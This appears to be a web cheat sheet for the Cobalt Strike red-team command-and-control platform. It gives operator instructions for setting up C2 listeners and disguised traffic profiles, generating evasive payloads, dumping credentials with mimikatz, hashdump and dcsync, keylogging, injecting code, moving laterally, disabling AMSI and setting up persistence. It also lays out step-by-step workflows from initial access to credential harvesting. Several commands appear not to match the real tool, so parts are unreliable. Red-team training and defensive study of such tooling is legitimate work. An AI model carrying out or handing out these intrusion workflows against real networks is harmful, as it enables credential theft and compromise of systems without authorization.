Skip to content

Cobalt Strike Cheat Sheet

Overview

Cobalt Strike is a commercial penetration testing and red team operations platform designed to emulate advanced threat actors. It provides a post-exploitation framework that allows operators to deploy beacons (agents) on compromised systems, establish command and control (C2) channels, and perform various offensive security operations.

⚠️ Warning: Cobalt Strike is a commercial security testing tool that should only be used in environments where you have explicit permission to do so.

Core Components

Team Server

  • Central command and control server
  • Runs on Linux
  • Manages beacons and listeners
  • Provides collaboration for team operations

Client

  • Java-based GUI application
  • Connects to Team Server
  • Interface for operators to interact with beacons
  • Visualizes target networks

Beacon

  • Primary payload for post-exploitation
  • Establishes communication with Team Server
  • Provides various capabilities for offensive operations
  • Can operate in different communication modes

Setup and Configuration

Team Server Setup

bash
# Start the Team Server
./teamserver <ip_address> <password> [malleable_c2_profile]

# Example
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Client Setup

1. Launch the Cobalt Strike client
2. Connect > New Connection
3. Enter Team Server details:
   - Host: <team_server_ip>
   - Port: 50050 (default)
   - User: <username>
   - Password: <password>
4. Verify SSL certificate fingerprint

Listeners

Creating Listeners

1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
   - Name: <listener_name>
   - Payload: <beacon_type>
   - Host: <callback_domain_or_ip>
   - Port: <port_number>
   - Profile: <malleable_c2_profile>
4. Click "Save"

Listener Types

TypeDescription
HTTPUses HTTP for C2 communication
HTTPSUses HTTPS for C2 communication
DNSUses DNS queries for stealthy C2
SMBUses named pipes for peer-to-peer C2
TCPUses direct TCP connections
ForeignIntegrates with other C2 frameworks

Payload Generation

Beacon Payload Types

Attacks > Packages > <payload_type>
Payload TypeDescription
Windows ExecutableStandard .exe file
Windows Service EXEService executable
DLLDynamic Link Library
PowerShellPowerShell one-liner
PythonPython script
Office MacroMacro for Office documents
ShellcodeRaw shellcode

Artifact Kit

Attacks > Packages > Windows Executable (S)
  • Generates custom payloads with evasion techniques
  • Modifies signatures to avoid detection
  • Customizable templates

Beacon Commands

Session Management

CommandDescription
helpDisplay help information
sleep [seconds] [jitter%]Set sleep time and jitter
checkinForce immediate check-in
exitTerminate the beacon session
clearClear the beacon's task queue
jobsList running jobs
jobkill [JID]Kill a running job
mode dnsSwitch to DNS mode
mode dns-txtSwitch to DNS-TXT mode
mode dns6Switch to DNS6 mode
mode httpSwitch to HTTP mode
mode smbSwitch to SMB mode

Information Gathering

CommandDescription
hostnameGet the hostname
ipconfigDisplay network configuration
netstatDisplay network connections
psList running processes
tasklistAlternative to ps
getuidGet current user ID
whoamiGet detailed user information
pwdPrint working directory
drivesList available drives
dir [directory]List files in directory
ls [directory]Alternative to dir
net [command]Execute net command
reg query [path]Query registry
sysinfoGet system information

File Operations

CommandDescription
cd [directory]Change directory
cp [source] [destination]Copy a file
mkdir [directory]Create a directory
mv [source] [destination]Move or rename a file
rm [file]Delete a file
rmdir [directory]Delete a directory
cat [file]Display file contents
download [file]Download a file from target
upload [file]Upload a file to target
timestomp [file] [template]Modify file timestamps
ls-acl [file]List file permissions

Process Operations

CommandDescription
execute [program]Execute without capturing output
shell [command]Execute and capture output
run [program]Execute a program
runas [user] [password] [program]Execute as another user
pth [user] [domain] [hash]Pass-the-hash to create a token
steal_token [pid]Steal token from process
make_token [domain] [user] [password]Create a token
rev2selfRevert to original token
getprivsEnable system privileges
getsystemAttempt to get SYSTEM privileges
execute-assembly [file.exe]Execute .NET assembly in memory
powerpick [command]Execute PowerShell without powershell.exe
powershell [command]Execute PowerShell command
psinject [pid] [command]Execute PowerShell in specific process
shinject [pid] [arch] [file.bin]Inject shellcode into process
dllinject [pid] [file.dll]Inject DLL into process
dllload [file.dll]Load DLL in beacon process

Lateral Movement

CommandDescription
psexec [target] [listener]Use PsExec to deploy beacon
psexec_psh [target] [listener]Use PsExec with PowerShell
winrm [target] [listener]Use WinRM to deploy beacon
wmi [target] [listener]Use WMI to deploy beacon
ssh [target:port] [user] [pass] [listener]Use SSH to deploy beacon
ssh-key [target:port] [user] [key] [listener]Use SSH with key authentication
dcsync [domain] [user]Use DCSync to extract password hashes
jump [method] [target] [listener]Jump to target using specified method
remote-exec [method] [target] [command]Execute command on remote system

Pivoting

CommandDescription
rportfwd [bind port] [forward host] [forward port]Set up reverse port forward
rportfwd stop [bind port]Stop reverse port forward
socks [port]Start SOCKS proxy server
socks stopStop SOCKS proxy server
spunnel [host] [port]Create encrypted tunnel over SMB
spunnel stopStop encrypted tunnel
covertvpn [interface] [IP/Mask]Deploy Covert VPN interface
covertvpn stopStop Covert VPN
pivot [host] [port]List pivot listeners
pivotlistener [host] [port]Create pivot listener

Post-Exploitation

CommandDescription
mimikatz [command]Execute Mimikatz command
hashdumpDump password hashes
logonpasswordsDump credentials from memory
keylogger [pid]Start keylogger
screenshot [pid]Take screenshot
screenwatch [pid]Watch target's screen
printscreenTake screenshot using PrintScreen
reg query [path]Query registry
powerview [command]Execute PowerView command
portscan [targets] [ports] [discovery method]Scan for open ports
browserpivot [pid] [port]Hijack authenticated web sessions
chromedumpDump Chrome cookies and login data
persist [method] [listener]Set up persistence
elevate [exploit] [listener]Attempt privilege escalation

Malleable C2 Profiles

Basic Structure

# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

# HTTP staging
http-stager {
    set uri "/jquery-3.3.1.min.js";
    client {
        header "Accept" "text/javascript, application/javascript, */*";
    }
    server {
        header "Content-Type" "application/javascript";
    }
}

# HTTP client
http-get {
    set uri "/api/v1/data";
    client {
        header "Accept" "application/json";
        metadata {
            base64;
            prepend "session=";
            append ";";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            json {
                "status" "success";
                "data" "";
            }
            prepend "{\"data\":\"";
            append "\"}";
            base64;
        }
    }
}

Testing Profiles

bash
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile

# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Aggressor Scripts

Basic Script Structure

# Event handlers
on beacon_initial {
    println("New beacon: " . $1);
}

# Aliases (custom commands)
alias hello {
    blog($1, "Hello, World!");
}

# Menus
popup beacon_bottom {
    item "Custom Command" {
        blog($1, "Executing custom command...");
        bshell($1, "whoami");
    }
}

# Functions
sub get_system_info {
    bshell($1, "systeminfo");
}

Common Script Functions

FunctionDescription
blog($1, "message")Write to beacon console
bshell($1, "command")Execute shell command
bpowershell($1, "command")Execute PowerShell command
bpowerpick($1, "command")Execute PowerShell without powershell.exe
bexecute_assembly($1, "/path/to/file.exe")Execute .NET assembly
bdllspawn($1, "/path/to/file.dll")Inject Reflective DLL
bpsexec($1, "target", "listener")Execute PsExec lateral movement
bwmi($1, "target", "listener")Execute WMI lateral movement
bwinrm($1, "target", "listener")Execute WinRM lateral movement

OPSEC Considerations

Process Injection

# Set parent process for new processes
ppid [pid]

# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe

# Mask command-line arguments
argue [command] [fake arguments]

# Block non-Microsoft DLLs
blockdlls start
blockdlls stop

Evasion Techniques

# Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]

# Configure staging process
stage {
    set obfuscate "true";
    set stomppe "true";
    set cleanup "true";
}

# Disable AMSI
amsi_disable

# Use smarter process injection
smartinject

Common Workflows

Initial Access

1. Create a listener (Cobalt Strike > Listeners)
2. Generate a payload (Attacks > Packages)
3. Deliver payload to target
4. Wait for beacon check-in

Privilege Escalation

1. Check current privileges: getuid
2. Attempt to get SYSTEM: getsystem
3. If unsuccessful, try specific exploits: elevate [exploit] [listener]
4. Verify new privileges: getuid

Credential Harvesting

1. Dump hashes: hashdump
2. Dump credentials from memory: logonpasswords
3. Use Mimikatz for advanced options: mimikatz [command]
4. Extract domain hashes (if DC): dcsync [domain] [user]

Lateral Movement

1. Identify targets: net view
2. Choose lateral movement technique:
   - psexec [target] [listener]
   - winrm [target] [listener]
   - wmi [target] [listener]
3. Verify new beacon check-in

Persistence

1. Choose persistence method:
   - persist [method] [listener]
   - schtasks [options]
   - service [options]
   - registry [options]
2. Verify persistence works
3. Document persistence mechanisms for cleanup

Resources